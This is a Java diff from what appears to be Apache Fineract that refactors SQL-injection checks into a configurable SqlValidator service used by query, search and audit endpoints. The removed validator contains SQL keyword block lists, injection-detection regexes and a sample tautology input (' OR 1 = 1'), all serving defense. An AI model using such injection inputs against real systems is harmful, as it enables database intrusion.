profiles.get(MAIN_PROFILE).setEnabled(true);
}
@Override
public void validate(final String statement) throws SqlValidationException {
validate(MAIN_PROFILE, statement);
}
@Override
public void validate(final String profile, final String statement) throws SqlValidationException {
if (StringUtils.isBlank(statement)) {
return;
}
for (var ref : profiles.getOrDefault(profile, profiles.get(MAIN_PROFILE)).getPatternRefs()) {
Matcher matcher = patterns.get(ref.getName()).matcher(statement);
if (matcher.matches()) {
log.warn("SQL validation error: >> {} <<", statement);
throw new SqlValidationException(String.format("invalid SQL statement (detected '%s' pattern)", ref.getName()));
}
}
}
}
@@ -28,8 +28,8 @@ import java.util.regex.Pattern;
* Utility to assemble the WHERE clause of an SQL query without the risk of SQL injection.
*
* <p>
* When using this utility instead of manually assembling SQL queries, then {@link SQLInjectionValidator} should not be
* required anymore. (Correctly using this means only ever passing completely fixed String literals to .)
* When using this utility instead of manually assembling SQL queries, then {@link SqlValidator} should not be required
* anymore. (Correctly using this means only ever passing completely fixed String literals to .)
*
* @author Michael Vorburger <mike@vorburger.ch>
*/
@@ -21,6 +21,7 @@ package org.apache.fineract.infrastructure.security.utils;
import java.sql.SQLException;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
@Deprecated
public class SQLInjectionException extends PlatformApiDataValidationException {
public SQLInjectionException() {
@@ -1,166 +0,0 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import java.util.List;
import java.util.StringTokenizer;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.lang3.StringUtils;
public final class SQLInjectionValidator {
private SQLInjectionValidator() {
}
private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
private static final String[] COMMENTS = { "--", "({", "/*", "#" };
private static final String SQL_PATTERN = "[a-zA-Z_=,\\-:'!><.?\"`% ()0-9*\n\r]*";
// TODO: see here https://rails-sqli.org for and
// https://larrysteinle.com/2011/02/20/use-regular-expressions-to-detect-sql-code-injection more examples
private static final List<String> INJECTION_PATTERNS = List.of("(?i).*[or|and]\s*[\"']?-1[\"']?\\s*(-*).*",
"(?i).*\\s+[\"']?(\\d+)[\"']?\\s*=\\s*[\"']?(\\1)[\"']?\\s*(-*).*");
public static void validateSQLInput(final String sqlSearch) {
if (StringUtils.isBlank(sqlSearch)) {
return;
}
String lowerCaseSQL = sqlSearch.toLowerCase();
List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
validateSQLCommands(lowerCaseSQL, commandsList, String::contains);
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
}
public static void validateAdhocQuery(final String sqlSearch) {
if (StringUtils.isBlank(sqlSearch)) {
return;
}
String lowerCaseSQL = sqlSearch.toLowerCase().trim();
validateSQLCommand(lowerCaseSQL, DDL_COMMANDS, String::startsWith);
validateSQLCommand(lowerCaseSQL, COMMENTS, String::contains);
// Removing the space before and after '=' operator
// String s = " \" OR 1 = 1"; For the cases like this
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
}
public static void validateDynamicQuery(final String sqlSearch) {
if (StringUtils.isBlank(sqlSearch)) {
return;
}
String lowerCaseSQL = sqlSearch.toLowerCase();
List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
validateSQLCommands(lowerCaseSQL, commandsList, String::equals);
// Removing the space before and after '=' operator
// String s = " \" OR 1 = 1"; For the cases like this
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
}
private static void patternMatchSqlInjection(String sqlSearch, String lowerCaseSQL) {
// Removing the space before and after '=' operator
// String s = " \" OR 1 = 1"; For the cases like this
boolean injectionFound = false;
String inputSqlString = lowerCaseSQL.replaceAll("\\s*=\\s*", "=");
StringTokenizer tokenizer = new StringTokenizer(inputSqlString, " ");
while (tokenizer.hasMoreTokens()) {
String token = tokenizer.nextToken().trim();
if (token.equals("'")) {
if (tokenizer.hasMoreElements()) {
String nextToken = tokenizer.nextToken().trim();
if (!nextToken.equals("'")) {
injectionFound = true;
break;
}
} else {
injectionFound = true;
break;
}
}
if (token.equals("\"")) {
if (tokenizer.hasMoreElements()) {
String nextToken = tokenizer.nextToken().trim();
if (!nextToken.equals("\"")) {
injectionFound = true;
break;
}
} else {
injectionFound = true;
break;
}
} else if (token.indexOf('=') > 0) {
StringTokenizer operatorToken = new StringTokenizer(token, "=");
String operand = operatorToken.nextToken().trim();
if (!operatorToken.hasMoreTokens()) {
injectionFound = true;
break;
}
String value = operatorToken.nextToken().trim();
if (operand.equals(value)) {
injectionFound = true;
break;
}
}
}
if (injectionFound) {
throw new SQLInjectionException();
}
for (String injectionPattern : INJECTION_PATTERNS) {
Pattern pattern = Pattern.compile(injectionPattern);
Matcher matcher = pattern.matcher(sqlSearch);
if (matcher.matches()) {
throw new SQLInjectionException();
}
}
Pattern pattern = Pattern.compile(SQL_PATTERN);
Matcher matcher = pattern.matcher(sqlSearch);
if (!matcher.matches()) {
throw new SQLInjectionException();
}
}
private static void validateSQLCommand(String lowerCaseSQL, String[] commands, SQLCommandCondition condition) {
for (String command : commands) {
if (condition.checkCondition(lowerCaseSQL, command)) {
throw new SQLInjectionException();
}
}
}
private static void validateSQLCommands(String lowerCaseSQL, List<String[]> commandsList, SQLCommandCondition condition) {
for (String[] commands : commandsList) {
validateSQLCommand(lowerCaseSQL, commands, condition);
}
}
}
@@ -29,19 +29,23 @@ import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.data.ApiParameterError;
import org.apache.fineract.infrastructure.core.data.DataValidatorBuilder;
import org.apache.fineract.infrastructure.core.exception.InvalidJsonException;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
import org.springframework.beans.factory.annotation.Autowired;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Slf4j
@RequiredArgsConstructor
@Component
public class AdHocQueryDataValidator {
private final SqlValidator sqlValidator;
private final FromJsonHelper fromApiJsonHelper;
private static final Set<String> AD_HOC_SEARCH_QUERY_REQUEST_DATA_PARAMETERS = new HashSet<>(Arrays.asList(
AdHocQuerySearchConstants.entitiesParamName, AdHocQuerySearchConstants.loanStatusParamName,
@@ -66,11 +70,6 @@ public class AdHocQueryDataValidator {
AdHocQuerySearchConstants.arrearsLoanStatusOption, AdHocQuerySearchConstants.closedLoanStatusOption,
AdHocQuerySearchConstants.writeoffLoanStatusOption };
@Autowired
public AdHocQueryDataValidator(final FromJsonHelper fromApiJsonHelper) {
this.fromApiJsonHelper = fromApiJsonHelper;
}
public void validateAdHocQueryParameters(final String json) {
if (StringUtils.isBlank(json)) {
@@ -229,7 +228,7 @@ public class AdHocQueryDataValidator {
String loanDateOption = null;
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.loanDateOptionParamName, element)) {
loanDateOption = this.fromApiJsonHelper.extractStringNamed(AdHocQuerySearchConstants.loanDateOptionParamName, element);
SQLInjectionValidator.validateSQLInput(loanDateOption);
sqlValidator.validate(loanDateOption);
}
LocalDate loanFromDate = null;
@@ -252,7 +251,7 @@ public class AdHocQueryDataValidator {
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element)) {
outStandingAmountPercentageCondition = this.fromApiJsonHelper
.extractStringNamed(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element);
SQLInjectionValidator.validateSQLInput(outStandingAmountPercentageCondition);
sqlValidator.validate(outStandingAmountPercentageCondition);
}
BigDecimal minOutStandingAmountPercentage = null;
@@ -283,7 +282,7 @@ public class AdHocQueryDataValidator {
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element)) {
outstandingAmountCondition = this.fromApiJsonHelper
.extractStringNamed(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element);
SQLInjectionValidator.validateSQLInput(outstandingAmountCondition);
sqlValidator.validate(outstandingAmountCondition);
}
BigDecimal minOutstandingAmount = null;
@@ -39,6 +39,8 @@ import java.util.Locale;
import java.util.Map;
import java.util.function.Predicate;
import java.util.stream.Collectors;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.BooleanUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.data.ApiParameterError;
@@ -50,30 +52,34 @@ import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecific
import org.apache.fineract.infrastructure.core.service.database.JdbcJavaType;
import org.apache.fineract.infrastructure.core.service.database.SqlOperator;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.search.data.ColumnFilterData;
import org.apache.fineract.portfolio.search.data.FilterData;
import org.springframework.jdbc.support.rowset.SqlRowSet;
import org.springframework.stereotype.Component;
public final class SearchUtil {
@Slf4j
@RequiredArgsConstructor
@Component
public class SearchUtil {
public static final int DEFAULT_PAGE_SIZE = 50;
private static final JsonParserHelper helper = new JsonParserHelper();
private SearchUtil() {}
private final SqlValidator sqlValidator;
@NotNull
public static Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
public Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
return columnHeaders.stream().collect(Collectors.toMap(ResultsetColumnHeaderData::getColumnName, e -> e));
}
public static ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
public ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
@NotNull Predicate<ResultsetColumnHeaderData> filter) {
return columnHeaders.stream().filter(filter).findFirst().orElse(null);
}
public static ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
public ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
@NotNull Predicate<ResultsetColumnHeaderData> filter) {
ResultsetColumnHeaderData filtered = findFiltered(columnHeaders, filter);
if (filtered == null) {
@@ -82,8 +88,8 @@ public final class SearchUtil {
return filtered;
}
public static void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns,
@NotNull List<String> resultColumns, @NotNull List<JsonObject> results) {
public void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns, @NotNull List<String> resultColumns,
@NotNull List<JsonObject> results) {
JsonObject json = new JsonObject();
for (int i = 0; i < selectColumns.size(); i++) {
Object rowValue = rowSet.getObject(selectColumns.get(i));
@@ -115,15 +121,15 @@ public final class SearchUtil {
}
@NotNull
public static List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
public List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
boolean allowEmpty) {
List<ResultsetColumnHeaderData> columnHeaders = validateToJdbcColumns(columns, headersByName, allowEmpty);
return columnHeaders.stream().map(e -> e == null ? null : e.getColumnName()).toList();
}
@NotNull
public static List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns,
Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
public List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
boolean allowEmpty) {
final List<ApiParameterError> errors = new ArrayList<>();
List<ResultsetColumnHeaderData> result = new ArrayList<>();
@@ -140,13 +146,13 @@ public final class SearchUtil {
return result;
}
public static String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
public String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
ResultsetColumnHeaderData columnHeader = validateToJdbcColumn(column, headersByName, allowEmpty);
return columnHeader == null ? null : columnHeader.getColumnName();
}
public static ResultsetColumnHeaderData validateToJdbcColumn(String column,
@NotNull Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
public ResultsetColumnHeaderData validateToJdbcColumn(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
boolean allowEmpty) {
final List<ApiParameterError> errors = new ArrayList<>();
ResultsetColumnHeaderData columnHeader = validateToJdbcColumnImpl(column, headersByName, errors, allowEmpty);
if (!errors.isEmpty()) {
@@ -155,8 +161,8 @@ public final class SearchUtil {
return columnHeader;
}
private static ResultsetColumnHeaderData validateToJdbcColumnImpl(String column,
@NotNull Map<String, ResultsetColumnHeaderData> headersByName, @NotNull List<ApiParameterError> errors, boolean allowEmpty) {
private ResultsetColumnHeaderData validateToJdbcColumnImpl(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
@NotNull List<ApiParameterError> errors, boolean allowEmpty) {
if (!allowEmpty && column == null) {
errors.add(parameterErrorWithValue("error.msg.column.empty", "Column filter is empty", API_PARAM_COLUMN, null));
}
@@ -173,9 +179,9 @@ public final class SearchUtil {
return columnHeader;
}
public static boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where,
@NotNull List<Object> params, String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat,
String dateTimeFormat, Locale locale, boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
public boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where, @NotNull List<Object> params,
String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
if (columnFilters == null) {
return false;
}
@@ -192,7 +198,7 @@ public final class SearchUtil {
return added;
}
public static boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
public boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
String columnName = columnFilter.getColumn();
@@ -221,9 +227,8 @@ public final class SearchUtil {
return size > 0;
}
public static void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator,
List<Object> values, @NotNull StringBuilder where, @NotNull List<Object> params, String alias,
@NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
public void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator, List<Object> values,
@NotNull StringBuilder where, @NotNull List<Object> params, String alias, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
int paramCount = values == null ? 0 : values.size();
where.append(operator.formatPlaceholder(sqlGenerator, definition, paramCount, alias));
if (values != null) {
@@ -231,13 +236,13 @@ public final class SearchUtil {
}
}
public static Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
public Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
return columnHeader.getColumnType().toJdbcValue(sqlGenerator.getDialect(),
parseColumnValue(columnHeader, columnValue, dateFormat, dateTimeFormat, locale, strict, sqlGenerator), false);
}
public static Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
public Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
JdbcJavaType colType = columnHeader.getColumnType();
if (!colType.isStringType() || !columnHeader.isMandatory()) {
@@ -254,7 +259,7 @@ public final class SearchUtil {
return columnValue;
}
if (strict) {
SQLInjectionValidator.validateDynamicQuery(columnValue);
sqlValidator.validate(columnValue);
}
if (columnHeader.hasColumnValues()) {
@@ -314,7 +319,7 @@ public final class SearchUtil {
return columnValue;
}
public static String camelToSnake(final String camelStr) {
public String camelToSnake(final String camelStr) {
return camelStr == null ? null
: camelStr.replaceAll("([A-Z]+)([A-Z][a-z])", "$1_$2").replaceAll("([a-z])([A-Z])", "$1_$2").toLowerCase();
}
@@ -67,6 +67,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
import org.glassfish.jersey.media.multipart.FormDataParam;
import org.springframework.stereotype.Component;
@@ -92,6 +93,7 @@ public class JournalEntriesApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -147,8 +149,10 @@ public class JournalEntriesApiResource {
submittedOnDateTo = submittedOnDateToParam.getDate("submittedOnDateTo", dateFormat, locale);
}
final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
savingsId);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).loanId(loanId).savingsId(savingsId).build();
JournalEntryAssociationParametersData associationParametersData = new JournalEntryAssociationParametersData(transactionDetails,
runningBalance);
@@ -246,7 +250,7 @@ public class JournalEntriesApiResource {
@QueryParam("entryId") final Long entryId, @Context final UriInfo uriInfo) {
this.context.authenticatedUser();
String transactionId = "P" + entryId;
SearchParameters params = SearchParameters.forPagination(offset, limit);
SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).build();
Page<JournalEntryData> entries = this.journalEntryReadPlatformService.retrieveAll(params, null, null, null, null, null, null,
transactionId, PortfolioProductType.PROVISIONING.getValue(), null);
final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
@@ -264,7 +264,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
whereClose = " and ";
}
if (searchParameters.isOfficeIdPassed()) {
if (searchParameters.hasOfficeId()) {
sqlBuilder.append(whereClose).append(" journalEntry.office_id = ?");
objectArray[arrayPos] = searchParameters.getOfficeId();
arrayPos = arrayPos + 1;
@@ -272,7 +272,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
whereClose = " and ";
}
if (searchParameters.isCurrencyCodePassed()) {
if (searchParameters.hasCurrencyCode()) {
sqlBuilder.append(whereClose).append(" journalEntry.currency_code = ?");
objectArray[arrayPos] = searchParameters.getCurrencyCode();
arrayPos = arrayPos + 1;
@@ -339,7 +339,7 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
}
}
if (searchParameters.isLoanIdPassed()) {
if (searchParameters.hasLoanId()) {
sqlBuilder.append(whereClose)
.append(" journalEntry.loan_transaction_id in (select id from m_loan_transaction where loan_id = ?)");
objectArray[arrayPos] = searchParameters.getLoanId();
@@ -347,18 +347,18 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
whereClose = " and ";
}
if (searchParameters.isSavingsIdPassed()) {
if (searchParameters.hasSavingsId()) {
sqlBuilder.append(whereClose).append(
" journalEntry.savings_transaction_id in (select id from m_savings_account_transaction where savings_account_id = ?)");
objectArray[arrayPos] = searchParameters.getSavingsId();
arrayPos = arrayPos + 1;
}
if (searchParameters.isOrderByRequested()) {
if (searchParameters.hasOrderBy()) {
sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
if (searchParameters.isSortOrderProvided()) {
if (searchParameters.hasSortOrder()) {
sqlBuilder.append(' ').append(searchParameters.getSortOrder());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
}
@@ -366,9 +366,9 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
sqlBuilder.append(" order by journalEntry.entry_date, journalEntry.id");
}
if (searchParameters.isLimited()) {
if (searchParameters.hasLimit()) {
sqlBuilder.append(" ");
if (searchParameters.isOffset()) {
if (searchParameters.hasOffset()) {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
} else {
sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -502,10 +502,6 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
private Page<JournalEntryData> retrieveContraTransactions(final Long officeId, final Long contraId, final String transactionId,
final String currencyCode) {
final Integer offset = 0;
final Integer limit = null;
final String orderBy = "journalEntry.id";
final String sortOrder = "ASC";
final Integer entityType = null;
final Boolean onlyManualEntries = null;
final LocalDate fromDate = null;
@@ -513,11 +509,10 @@ public class JournalEntryReadPlatformServiceImpl implements JournalEntryReadPlat
final LocalDate submittedOnDateFrom = null;
final LocalDate submittedOnDateTo = null;
final JournalEntryAssociationParametersData associationParametersData = null;
final Long loanId = null;
final Long savingsId = null;
final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId,
savingsId, currencyCode);
final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).officeId(officeId).offset(0)
.orderBy("journalEntry.id").sortOrder("ASC").currencyCode(currencyCode).build();
return retrieveAll(searchParameters, contraId, onlyManualEntries, fromDate, toDate, submittedOnDateFrom, submittedOnDateTo,
transactionId, entityType, associationParametersData);
@@ -31,7 +31,6 @@ import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
import org.apache.fineract.infrastructure.core.api.JsonCommand;
import org.apache.fineract.infrastructure.core.domain.AbstractAuditableCustom;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator;
@Getter
@Setter
@@ -68,10 +67,7 @@ public class AdHoc extends AbstractAuditableCustom {
public static AdHoc fromJson(final JsonCommand command) {
final String name = command.stringValueOfParameterNamed(AdHocJsonInputParams.NAME.getValue());
String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
SQLInjectionValidator.validateAdhocQuery(commandQuery);
final String query = commandQuery;
final String query = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
final String tableName = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLENAME.getValue());
final String tableFields = command.stringValueOfParameterNamed(AdHocJsonInputParams.TABLEFIELDS.getValue());
final String email = command.stringValueOfParameterNamed(AdHocJsonInputParams.EMAIL.getValue());
@@ -21,6 +21,7 @@ package org.apache.fineract.adhocquery.service;
import java.util.Map;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.fineract.adhocquery.api.AdHocJsonInputParams;
import org.apache.fineract.adhocquery.domain.AdHoc;
import org.apache.fineract.adhocquery.domain.AdHocRepository;
import org.apache.fineract.adhocquery.exception.AdHocNotFoundException;
@@ -30,6 +31,7 @@ import org.apache.fineract.infrastructure.core.data.CommandProcessingResultBuild
import org.apache.fineract.infrastructure.core.exception.ErrorHandler;
import org.apache.fineract.infrastructure.core.exception.PlatformDataIntegrityException;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.dao.DataIntegrityViolationException;
import org.springframework.dao.NonTransientDataAccessException;
import org.springframework.orm.jpa.JpaSystemException;
@@ -42,6 +44,7 @@ public class AdHocWritePlatformServiceJpaRepositoryImpl implements AdHocWritePla
private final PlatformSecurityContext context;
private final AdHocRepository adHocRepository;
private final AdHocDataValidator adHocCommandFromApiJsonDeserializer;
private final SqlValidator sqlValidator;
@Transactional
@Override
@@ -52,6 +55,10 @@ public class AdHocWritePlatformServiceJpaRepositoryImpl implements AdHocWritePla
this.adHocCommandFromApiJsonDeserializer.validateForCreate(command.json());
String commandQuery = command.stringValueOfParameterNamed(AdHocJsonInputParams.QUERY.getValue());
sqlValidator.validate("adhoc", commandQuery);
final AdHoc entity = AdHoc.fromJson(command);
this.adHocRepository.saveAndFlush(entity);
@@ -26,6 +26,7 @@ import org.apache.fineract.adhocquery.service.AdHocWritePlatformService;
import org.apache.fineract.adhocquery.service.AdHocWritePlatformServiceJpaRepositoryImpl;
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@@ -51,8 +52,8 @@ public class AdhocQueryConfiguration {
@Bean
@ConditionalOnMissingBean(AdHocWritePlatformService.class)
public AdHocWritePlatformService adHocWritePlatformService(PlatformSecurityContext context, AdHocRepository adHocRepository,
AdHocDataValidator adHocCommandFromApiJsonDeserializer) {
return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer) {
AdHocDataValidator adHocCommandFromApiJsonDeserializer, SqlValidator sqlValidator) {
return new AdHocWritePlatformServiceJpaRepositoryImpl(context, adHocRepository, adHocCommandFromApiJsonDeserializer, sqlValidator) {
};
}
@@ -49,6 +49,7 @@ import org.apache.fineract.infrastructure.core.serialization.ApiRequestJsonSeria
import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSerializer;
import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.infrastructure.security.utils.SQLBuilder;
import org.springframework.stereotype.Component;
@@ -73,6 +74,7 @@ public class AuditsApiResource {
private final ApiRequestParameterHelper apiRequestParameterHelper;
private final DefaultToApiJsonSerializer<AuditData> toApiJsonSerializer;
private final DefaultToApiJsonSerializer<AuditSearchData> toApiJsonSerializerSearchTemplate;
private final SqlValidator sqlValidator;
@GET
@Consumes({ MediaType.APPLICATION_JSON })
@@ -106,7 +108,10 @@ public class AuditsApiResource {
@QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
sqlValidator.validate(orderBy);
sqlValidator.validate(sortOrder);
final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
.orderBy(orderBy).sortOrder(sortOrder).build();
final SQLBuilder extraCriteria = getExtraCriteria(actionName, entityName, resourceId, makerId, makerDateTimeFrom, makerDateTimeTo,
checkerId, checkerDateTimeFrom, checkerDateTimeTo, processingResult, officeId, groupId, clientId, loanId, savingsAccountId);
@@ -168,7 +168,7 @@ public class AuditReadPlatformServiceImpl implements AuditReadPlatformService {
@Override
public Collection<AuditData> retrieveAuditEntries(final SQLBuilder extraCriteria, final boolean includeJson) {
return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.getCheckedLimit(null),
return retrieveEntries("audit", extraCriteria, " order by aud.id DESC limit " + PaginationParameters.DEFAULT_MAX_LIMIT,
includeJson);
}
@@ -185,14 +185,14 @@ public class AuditReadPlatformServiceImpl implements AuditReadPlatformService {
sqlBuilder.append("select " + sqlGenerator.calcFoundRows() + " ");
sqlBuilder.append(rm.schema(includeJson, hierarchy));
sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
if (parameters.isOrderByRequested()) {
if (parameters.hasOrderBy()) {
sqlBuilder.append(' ').append(parameters.orderBySql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
} else {
sqlBuilder.append(' ').append(' ').append(" order by aud.id DESC");
}
if (parameters.isLimited()) {
if (parameters.hasLimit()) {
sqlBuilder.append(' ').append(parameters.limitSql());
this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
}
@@ -272,7 +272,7 @@ public class BulkImportWorkbookPopulatorServiceImpl implements BulkImportWorkboo
if (officeId == null) {
Boolean includeAllOffices = Boolean.TRUE;
offices = (List) this.officeReadPlatformService.retrieveAllOffices(includeAllOffices,
new SearchParameters(null, null, null, null, null, null, null, null, "id", "asc", null, null, null, null, null, null));
SearchParameters.builder().orderBy("id").sortOrder("asc").build());
} else {
offices = new ArrayList<>();
offices.add(this.officeReadPlatformService.retrieveOffice(officeId));
